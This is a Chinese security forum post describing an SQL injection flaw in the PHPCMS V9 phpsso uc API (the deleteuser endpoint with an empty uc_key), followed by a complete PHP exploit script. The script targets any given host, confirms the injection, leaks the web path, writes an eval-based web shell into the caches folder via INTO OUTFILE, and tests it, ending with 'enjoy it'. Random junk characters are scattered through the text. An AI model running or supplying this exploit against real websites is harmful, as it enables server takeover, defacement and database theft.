找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2029|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。! V/ e+ c; h4 A- O( @

+ i2 {) y' j& M" B6 y. `所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。4 V1 d3 s+ u* _
% |( W" `' c+ a7 {; x' O. z
漏洞分析:
) c; b- f8 T& F( _- |" d: S1.未启用ucenter服务的情况下uc_key为空& f' T1 J! e' J1 l) |+ a* \) j) j# S
define('UC_KEY', pc_base::load_config('system', 'uc_key'));7 [# s: e3 y% R$ ]3 a' l1 O6 G
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。6 \. P: r* p* [  N9 P
    public function deleteuser($get,$post) {; Y, n6 `( ?+ t8 s: m" U' e2 B
        pc_base::load_app_func('global', 'admin');
% B0 c( @; d, u6 x0 v3 {) w, v" g& T# ^        pc_base::load_app_class('messagequeue', 'admin' , 0);, S# s% t- |; S9 f2 c( F- Q: n
        $ids = new_stripslashes($get['ids']);( L3 P* j, r; l# t6 \8 }: t
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
5 D# w* {1 m  t0 HSQL语句为
& z  Q7 R# g( USELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
# M- e. U2 |" G9 f4 [7 X6 `7 L4 s+ X
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
! N- j' ~+ G: I2 S9 }# p, B9 f( c# J<?php! r' j3 G7 V* X+ u8 l( X- i
print_r('
/ k6 I; \, U7 }+ t---------------------------------------------------------------------------
- ?. ^4 v1 c4 ?1 P  EPHPcms (v9 or Old Version) uc api sql injection 0day
# `( B3 b5 @4 D' L. ^. Nby rayh4c#80sec.com
8 |' ^! P) J4 H5 a---------------------------------------------------------------------------) ^. c, H/ p0 i: d- Q4 f- ]
');
& r9 j5 ?/ T9 R' u
" |" ~9 d/ `0 D4 v2 `if ($argc<3) {
$ ?. U, m+ [6 d5 s+ {    print_r('" ?5 g. [; j, w& x: y3 E
---------------------------------------------------------------------------9 d: y& y1 l$ r  o$ f4 t
Usage: php '.$argv[0].' host path OPTIONS9 ]7 X" {  U- w0 ?
host:      target server (ip/hostname)) f, z) ]" a* f$ ?
path:      path to phpcms
$ |! ]6 p) ^7 @% A+ ]Options:
' \& x6 Q1 M2 |  ~& b0 O+ S0 u -p[port]:    specify a port other than 80
! E! x+ T  O/ k5 m% Y3 e. l* n -P[ip:port]: specify a proxy
0 g6 c0 A; X. Y6 I7 iExample:' S: o; @  M& i) a
php '.$argv[0].' localhost /6 x9 E8 B3 k+ G
php '.$argv[0].' localhost /phpcms/ -p81
& |0 W$ b( [. n- ?- a8 a. Fphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:806 \/ y7 C' c: I6 c! G$ V, Z' A) K
---------------------------------------------------------------------------8 J8 L( k& |+ e
');
4 s8 h0 ^  U! G9 _: F    die;* g! h1 W0 V; y( }
}+ a0 K/ ]! C9 B- A1 k' U8 V
( K4 P9 |: J0 z6 K# C
error_reporting(7);
+ r! }% ^6 v: F( u/ Y! Yini_set("max_execution_time",0);# {( Q  k/ G1 Y- W1 F+ V
ini_set("default_socket_timeout",5);
7 Y% c$ y9 p8 i. F6 F+ p9 c
7 U4 Y; b% ?- C& @& i& |function quick_dump($string)$ C& D) C8 N6 g, J; z1 `2 _
{+ v, p6 w' k0 P" G
  $result='';$exa='';$cont=0;
' l; r1 j4 f$ o  for ($i=0; $i<=strlen($string)-1; $i++)
* M; {8 D2 @9 J# u* w  {
! G  P# G  J' u& L" W4 l   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
7 j9 `/ m- i: J2 ]! x   {$result.="  .";}
& B: a8 P& t- Z) H$ k0 V9 I   else+ T# u1 V+ `& |3 M0 K
   {$result.="  ".$string[$i];}
6 K4 b9 u1 N0 a$ S/ ~   if (strlen(dechex(ord($string[$i])))==2)5 X; p" R! k5 ^2 a; {
   {$exa.=" ".dechex(ord($string[$i]));}
2 [1 G3 |0 |4 W7 n6 a1 A   else9 d( F' N- w, S6 T# K" v
   {$exa.=" 0".dechex(ord($string[$i]));}
/ d( B% h0 J4 N- J9 }/ I7 R9 o   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
) G) H+ L% M/ n  }- ^/ ^( a  \) c$ ~! ~! n$ P" v
return $exa."\r\n".$result;
# b( B' ]- o, L7 n}6 D2 k" _* L7 P, B/ {
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
7 t/ O3 s$ e" }/ H  S- d; o- i9 q# P$ G+ C, X, C
function send($packet)6 _' o7 [6 h0 b
{# B1 Z4 ~7 _3 B, H3 f
  global $proxy, $host, $port, $html, $proxy_regex;
2 u, F! U- u7 d' [# @  if ($proxy=='') {+ `# E5 r6 ^; z! Z0 D8 k
    $ock=fsockopen(gethostbyname($host),$port);- e; |+ P- P( s( q. i: J* S
    if (!$ock) {
9 F6 J# }2 ?3 q  P' [; d7 w  j      echo 'No response from '.$host.':'.$port; die;, s- {8 _. E9 L5 U6 P( m( j
    }
& M# w' I- l! X/ h# P( ]' j/ ?  }
( d; P9 p1 ]$ t/ C+ P1 C! `$ A  else {
5 S# m1 k* p, h' R9 E: Z& e        $c = preg_match($proxy_regex,$proxy);
/ C5 O; N6 v! E1 i& f! }    if (!$c) {- n6 v+ J4 o. f4 S+ Z
      echo 'Not a valid proxy...';die;
# f7 k9 g! h: D    }8 ~" N1 c6 w# D0 p3 s
    $parts=explode(':',$proxy);0 T! {; r! B8 o
    $parts[1]=(int)$parts[1];
: C; p" Q5 [! ^* C    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
6 _* a+ g- W, ]) T1 o    $ock=fsockopen($parts[0],$parts[1]);
, H! G* w* l( c8 N: `    if (!$ock) {2 G( L+ D: j* ^; v
      echo 'No response from proxy...';die;) k4 i. t* T* |! v7 S
        }6 l- w7 y- v1 z6 C5 O
  }7 i& b+ q/ ?; m1 @
  fputs($ock,$packet);8 x' l0 e$ j6 F$ I$ Y# T( S
  if ($proxy=='') {
$ P4 |/ M* n, P) v* Y. w$ X0 o/ M    $html='';( V5 b( S( e' [) V: n3 d2 {9 Q8 D
    while (!feof($ock)) {! o$ q! \& W6 Z, \' o+ P. l' n: _
      $html.=fgets($ock);
( _8 W7 ^* u8 t) n6 M5 U& {    }
  y9 ~  V7 N6 L3 e  E  }
* J4 h, @: H1 c; V3 ?7 K  else {
3 n, r# R; o) _; o5 @7 n# F    $html='';
+ W0 D" J3 i7 A4 v# \) c    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+ Q- N: c* L. X. g+ r& h2 c" e      $html.=fread($ock,1);
( x5 J( l' S( }* S9 d    }
7 r6 \- ^9 d6 g. ]( ~( E* a& w# L  }
* C; D; y) Y+ B* x2 u& k  fclose($ock);( H9 @: t+ l; K
}
! L# i+ ~1 t+ I2 Y# C" N# Q- Z# c6 D6 i
$host=$argv[1];' ^! E3 ]7 J, Y' B
$path=$argv[2];9 `+ G( R* g7 T' R6 V' ]+ {
$port=80;1 h) E# i$ ^0 ~0 F& ?
$proxy="";: e/ x* K$ F% ?8 w- ^3 ~+ \
for ($i=3; $i<$argc; $i++){! C2 r2 ?! M0 A5 b5 G/ M  X
$temp=$argv[$i][0].$argv[$i][1];
7 z  K& Q; k& V, j; ]- V% j, ^: Tif ($temp=="-p")
$ h' |7 l$ H* W, O7 ^: \, V{& M; A* g7 M4 d" k
  $port=(int)str_replace("-p","",$argv[$i]);
1 a7 o" U; y# J7 \; T}
6 H! G$ A7 u3 r3 p- ?8 D: |if ($temp=="-P")
! p0 k: ~, q- I( h# l$ C- R* Q{' o- V3 b; q3 Q! H3 H1 _
  $proxy=str_replace("-P","",$argv[$i]);2 r. ?) E8 A, S% [& h" I( b$ j
}1 M; g" a2 \9 m6 H* w. j0 l
}2 U" ]5 T: R" p

# s5 Z9 \2 H* v( qif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}& h' z$ o; x- y; o, Y
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
3 ?+ _. x4 i) V1 v4 l' L/ O$ ^9 {- r; s5 S
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {6 `/ J, E- p: }! @# j: q

5 a$ y4 C8 P) B: T$ ]6 D! U3 V: S    $ckey_length = 4;$ S  ]4 Y$ _  p+ o4 P8 T
  j4 a: J& s7 [. Q; r! a6 I
    $key = md5($key ? $key : '');; |( X( v$ V4 E
    $keya = md5(substr($key, 0, 16));- K& S# V+ U5 B' [
    $keyb = md5(substr($key, 16, 16));( C' c0 V6 P2 D$ f
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
% u" V7 N) X6 I, T& b, V2 ]" m3 v) O3 \4 R8 i6 ^1 X* r
    $cryptkey = $keya.md5($keya.$keyc);
$ m/ \' W% Q* d    $key_length = strlen($cryptkey);5 v+ m+ M; Z( B, ?7 r8 Z) Q
0 o) o/ E9 ~5 G+ Q8 M% p& X
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$ Q  T( o- B% I# C  D% [9 R& c    $string_length = strlen($string);
/ _2 E: b  n7 X+ i! M, D+ C
6 E2 A) y$ E4 J3 X    $result = '';
8 x6 X) m+ x: h" z    $box = range(0, 255);0 p7 ~$ o9 _' J/ K% ~1 \( z
% D5 V& B' q* H. n! A8 ^
    $rndkey = array();; N9 C$ w) g& q% b4 G9 b+ v6 `
    for($i = 0; $i <= 255; $i++) {$ G) B- H! J: s8 D
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);6 k% b% C& G8 }( o
    }# t% p6 z; k4 c9 s) H

" P" Y' a+ i: Z/ M4 n2 [    for($j = $i = 0; $i < 256; $i++) {
' @, i+ w( G$ q% m        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
$ Z! j- M+ M6 m* \        $tmp = $box[$i];! m  V5 P4 c( U) o
        $box[$i] = $box[$j];
( P) V3 Y/ \3 I( @& c" U        $box[$j] = $tmp;
  d# p. ~5 M/ r  M& T5 E    }
- K; w, A7 x3 |
/ X7 W; A; y# ^! r1 J8 @    for($a = $j = $i = 0; $i < $string_length; $i++) {7 W" X: S+ `  {5 c6 _
        $a = ($a + 1) % 256;  @& Z0 e* a% _9 L7 p
        $j = ($j + $box[$a]) % 256;
" h% d" Q$ j9 l$ i$ V3 h) |        $tmp = $box[$a];
# |/ d9 J) e8 A' i) Z        $box[$a] = $box[$j];
. |  X* w) L+ N        $box[$j] = $tmp;
7 w( X- L) l/ l: Q8 i( W" j        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));3 r, T( e. N- ?% s; |
    }. S- ~7 M# ^9 I) _' e: K3 h
  b2 v3 G- H3 T9 U4 h
    if($operation == 'DECODE') {
5 }& ?  J9 g/ ~, A; @5 |4 r" s        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {! x- k& N+ O) i3 l/ y5 Q
            return substr($result, 26);/ F" j2 h3 J( P$ n- x
        } else {
; B& b- e' W$ G' E; g* |            return '';) c: C( ?7 z4 e, w5 g7 H
        }" _1 H( u' V: B0 n+ P( ~  s
    } else {
; O- F' K6 t7 y" ]        return $keyc.str_replace('=', '', base64_encode($result));
- g7 G! Y$ p: j7 ^  h: R$ k& B( h# t    }, a: _# [9 l- P, B5 D8 k
0 L( W7 W( I7 y" u
}
. _/ w; e& t0 d" T- m: [. u9 _: h& W; U' N3 L3 e; q) P
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
3 c4 r/ }: l  f1 C5 s) Z2 P+ W# m$SQL = urlencode(authcode($SQL, "ENCODE", ""));: p% M+ k3 V" S; R
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
' J& g$ I% n3 w$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
) w/ q9 Z  B. I% O: q4 b. T' h$packet.="User-Agent: Mozilla/5.0\r\n";
7 i" S( j7 l' x- L8 d$packet.="Host: ".$host."\r\n";5 ^/ ?. j& f( P7 B  i
$packet.="Connection: Close\r\n\r\n";
8 Z& T0 C- ?1 r3 E' |( Esend($packet);2 [7 }( Z; [6 |; x, o7 A- r
if(strpos($html,"MySQL Errno") > 0){
: |$ N3 O8 e) W5 B; Y* necho "[2] 发现存在SQL注入漏洞"."\n";0 D" D1 ]9 }% ~9 Q$ h( R
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";7 Y) W, ?' {9 M
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";3 U9 _9 `$ A0 k+ K# [6 h( g" D
$packet.="User-Agent: Mozilla/5.0\r\n";
* Z: B2 i' a) P* J  u$packet.="Host: ".$host."\r\n";  \7 \; C) r" N' P7 d# Y" D
$packet.="Connection: Close\r\n\r\n";
2 l5 c8 I' `- `  u$ H: q4 qsend($packet);
' l% |" h8 J; m/ |( bpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
! k) X3 R- ~- O/ \" E3 T6 M0 X1 x: K//print_r($matches);& Z, p8 @; Y4 Q) d3 c# \, C% J
if(!empty($matches)){# B' j% t" n3 C# C
echo "[4] 得到web路径 " . $matches[0]."\n";, e8 t  r. _5 N& [; R( B
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
' o/ q- y: z! N4 J" \. y9 I7 a1 n$SQL = "time=999999999999999999999999&ids=1)";
2 R6 D- t4 W  X/ N- V* e$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
; p; B# v' j/ t7 d% g# R. S$SQL.="&action=deleteuser";$ q6 q" Z9 a+ d- Q0 j3 R2 E; s; d
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
# B( S& K/ V/ V. U' D  _. e9 G4 F: z  Techo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
2 m1 o5 h3 @1 j0 W5 s7 a* E$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
- i! \. U. l6 ?$packet.="User-Agent: Mozilla/5.0\r\n";
' U) |) \7 R2 `1 Y7 W$packet.="Host: ".$host."\r\n";
4 i, s) J1 @' [$ z8 S8 r  u$packet.="Connection: Close\r\n\r\n";0 f2 b, Y  @8 P; b2 W. ^
send($packet);
/ J5 P% O& g0 o& S, N! Mif(strpos($html,"Access denied") > 0){# s. c# e' \- R: h& |& n! k1 V) f
echo "[-] MYSQL权限过低 禁止写入文件 ";- p/ B) R. ^8 y4 f. ~
die;, l5 X' H9 `8 H! Q: i+ H/ S
}
: X/ e! r* F& W6 ]echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";( N0 E! F; R6 j( _( H; Z: u
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
0 K( }2 Q( c# R/ B4 ^. ~0 J' X$packet.="User-Agent: Mozilla/5.0\r\n";. U, C, x  A  G1 I! g) V
$packet.="Host: ".$host."\r\n";
+ m9 G, Q! A0 n) Q/ @5 Q" _3 b( j$packet.="Connection: Close\r\n\r\n";! O/ o+ \7 m* }; v
send($packet);
: g1 G1 A8 `. Vif(strpos($html,"<title>phpinfo()</title>") > 0){/ {* s9 V! n- c) F% v: g  T
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";% d2 S* E  K- `+ Y' o
}
" n. z( M9 _, X, [  M}else{
: z& d: d4 {' C" Cecho "[-]未取到web路径 ";; U0 \9 s4 @  X7 |# D. i
}
0 F& c: U, |& P}else{
- l+ F& t  V8 @% Wecho "[*]不存在SQL注入漏洞"."\n";
7 `9 H8 b( @- ?: d$ U}( i: p1 d0 i. |5 r9 {0 l" @

9 h. X2 F9 ~& p9 L. V?>
# `, E1 k3 L  l) ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表